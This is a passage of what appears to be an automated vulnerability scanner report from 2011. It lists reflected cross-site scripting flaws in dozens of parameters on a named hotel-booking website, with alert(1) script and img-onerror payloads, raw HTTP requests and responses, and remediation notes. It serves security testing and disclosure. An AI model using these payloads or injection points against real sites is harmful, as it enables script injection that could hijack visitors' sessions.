gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:13:31 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:13:31 GMT;path=/ Vary: Accept-Encoding Content-Length: 228455
The value of the sc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50051"><script>alert(1)</script>39edeb187e was submitted in the sc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo50051"><script>alert(1)</script>39edeb187e HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:13:16 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo50051%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E39edeb187e;expires=Sat, 31-Mar-2012 00:13:16 GMT;path=/ Vary: Accept-Encoding Content-Length: 228230
The value of the HotelName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fa49"><script>alert(1)</script>5eb5ba7635c was submitted in the HotelName parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:22:43 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 118577
The value of the NumRooms request parameter is copied into the HTML document as plain text between tags. The payload 919fb<script>alert(1)</script>49f0b73eca3 was submitted in the NumRooms parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:22:35 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 74239
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Boston, MA Group Hotels - Discount Group Travel Hotel Rates + Reservations</title> <meta http-equiv="Con ...[SNIP]... <strong>Check instant online group rates for 919fb<script>alert(1)</script>49f0b73eca3 rooms</strong> ...[SNIP]...
The value of the PriceMax request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37d6b"><script>alert(1)</script>cd6e8673d05 was submitted in the PriceMax parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:22:54 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 230487
The value of the PriceMin request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41bab"><script>alert(1)</script>67b3aa74a1b was submitted in the PriceMin parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:22:49 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 230487
The value of the Rating request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ead4"><script>alert(1)</script>4ef82785e9c was submitted in the Rating parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:22:45 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 118534
The value of the ViewType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4c47"><script>alert(1)</script>36f36986939 was submitted in the ViewType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:22:39 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 155889
The value of the btnGo.x request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7a9e"><script>alert(1)</script>75d130eda71 was submitted in the btnGo.x parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:23:02 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 230487
The value of the btnGo.y request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84317"><script>alert(1)</script>80ec618c45b was submitted in the btnGo.y parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:23:09 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 230487
The value of the DisplayNightlyRates request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c814"><script>alert(1)</script>9dd40173679 was submitted in the DisplayNightlyRates parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:10 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="DisplayNightlyRates" value="429.49,429.49,369.231c814"><script>alert(1)</script>9dd40173679"> ...[SNIP]...
The value of the HotelName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a147e"><script>alert(1)</script>41fbb640098 was submitted in the HotelName parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:41 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58910
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <img src="//cdn.hotelplanner.com/Common/Images/Chains/MU.gif" width="108" height="108" border="0" alt="millennium bostonian hotel bostona147e"><script>alert(1)</script>41fbb640098 Logo" hspace="0"> ...[SNIP]...
The value of the NativeNightlyRates request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d060"><script>alert(1)</script>412c45cdb9b was submitted in the NativeNightlyRates parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:06 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58862
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="NativeNightlyRates" value="429.49,429.49,369.236d060"><script>alert(1)</script>412c45cdb9b"> ...[SNIP]...
The value of the ValueAdds request parameter is copied into the HTML document as plain text between tags. The payload afb9f<script>alert(1)</script>5108f199c4a was submitted in the ValueAdds parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:16 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 59048
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <font color="3865a8">Includes afb9f<script>alert(1)</script>5108f199c4a!</font> ...[SNIP]...
The value of the ValueAdds request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbbfc"><script>alert(1)</script>cfa93721e10 was submitted in the ValueAdds parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:15 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 59052
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="ValueAdds" value="bbbfc"><script>alert(1)</script>cfa93721e10"> ...[SNIP]...
The value of the arrivalDay request parameter is copied into an HTML comment. The payload a8493--><img%20src%3da%20onerror%3dalert(1)>bf087f08db was submitted in the arrivalDay parameter. This input was echoed as a8493--><img src=a onerror=alert(1)>bf087f08db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:33:44 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: 10/4a8493--><img src=a onerror=alert(1)>bf087f08db/2011 is an invalid date or time string. <br> ...[SNIP]...
The value of the arrivalMonth request parameter is copied into an HTML comment. The payload 3267a--><img%20src%3da%20onerror%3dalert(1)>1be035142f8 was submitted in the arrivalMonth parameter. This input was echoed as 3267a--><img src=a onerror=alert(1)>1be035142f8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:33:54 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: The value 93267a--><img src=a onerror=alert(1)>1be035142f8 cannot be converted to a number. <br> ...[SNIP]...
The value of the arrivalYear request parameter is copied into an HTML comment. The payload 4989e--><img%20src%3da%20onerror%3dalert(1)>16d875515cb was submitted in the arrivalYear parameter. This input was echoed as 4989e--><img src=a onerror=alert(1)>16d875515cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:34:01 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: 10/4/20114989e--><img src=a onerror=alert(1)>16d875515cb is an invalid date or time string. <br> ...[SNIP]...
The value of the bedType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60402"><script>alert(1)</script>90037396956 was submitted in the bedType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:08 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58859
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="bedType1" value="1460402"><script>alert(1)</script>90037396956"> ...[SNIP]...
The value of the bedTypes request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb17d"><script>alert(1)</script>4c2a6b371af was submitted in the bedTypes parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:04 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58910
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="bedTypes" value="14|King Bedeb17d"><script>alert(1)</script>4c2a6b371af"> ...[SNIP]...
The value of the bedTypes request parameter is copied into the HTML document as plain text between tags. The payload 33d6d<script>alert(1)</script>79da41cdb8a was submitted in the bedTypes parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:05 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58906
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <option selected value="14">King Bed33d6d<script>alert(1)</script>79da41cdb8a</option> ...[SNIP]...
The value of the cancellationPolicy request parameter is copied into the HTML document as plain text between tags. The payload 78796<script>alert(1)</script>9d816f4ad0 was submitted in the cancellationPolicy parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:32 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58904
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... lations or changes made after 4:00 PM ((GMT-05:00) Eastern Time (US & Canada)) on Oct 3, 2011 are subject to a 1 Night Room & Tax penalty. The property makes no refunds for no shows or early checkouts.78796<script>alert(1)</script>9d816f4ad0</font> ...[SNIP]...
The value of the cancellationPolicy request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d91c7"><script>alert(1)</script>16f2b4b9db2 was submitted in the cancellationPolicy parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:30 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58910
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... lations or changes made after 4:00 PM ((GMT-05:00) Eastern Time (US & Canada)) on Oct 3, 2011 are subject to a 1 Night Room & Tax penalty. The property makes no refunds for no shows or early checkouts.d91c7"><script>alert(1)</script>16f2b4b9db2"> ...[SNIP]...
The value of the chargeableRoomRateTaxesAndFees request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2848"><script>alert(1)</script>635379cc061 was submitted in the chargeableRoomRateTaxesAndFees parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:34:27 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58862
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="chargeableRoomRateTaxesAndFees" value="205.99f2848"><script>alert(1)</script>635379cc061"> ...[SNIP]...
The value of the chargeableRoomRateTotal request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f77f"><script>alert(1)</script>c726a0130fc was submitted in the chargeableRoomRateTotal parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:34:44 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="chargeableRoomRateTotal" value="1434.21f77f"><script>alert(1)</script>c726a0130fc"> ...[SNIP]...
The value of the departureDay request parameter is copied into an HTML comment. The payload 4d76d--><img%20src%3da%20onerror%3dalert(1)>602f13b20c8 was submitted in the departureDay parameter. This input was echoed as 4d76d--><img src=a onerror=alert(1)>602f13b20c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:33:01 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: 10/74d76d--><img src=a onerror=alert(1)>602f13b20c8/2011 is an invalid date or time string. <br> ...[SNIP]...
The value of the departureMonth request parameter is copied into an HTML comment. The payload 9f93b--><img%20src%3da%20onerror%3dalert(1)>0bcce531657 was submitted in the departureMonth parameter. This input was echoed as 9f93b--><img src=a onerror=alert(1)>0bcce531657 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:33:13 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: The value 99f93b--><img src=a onerror=alert(1)>0bcce531657 cannot be converted to a number. <br> ...[SNIP]...
The value of the departureYear request parameter is copied into an HTML comment. The payload 5b1cb--><img%20src%3da%20onerror%3dalert(1)>a97efa02bef was submitted in the departureYear parameter. This input was echoed as 5b1cb--><img src=a onerror=alert(1)>a97efa02bef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
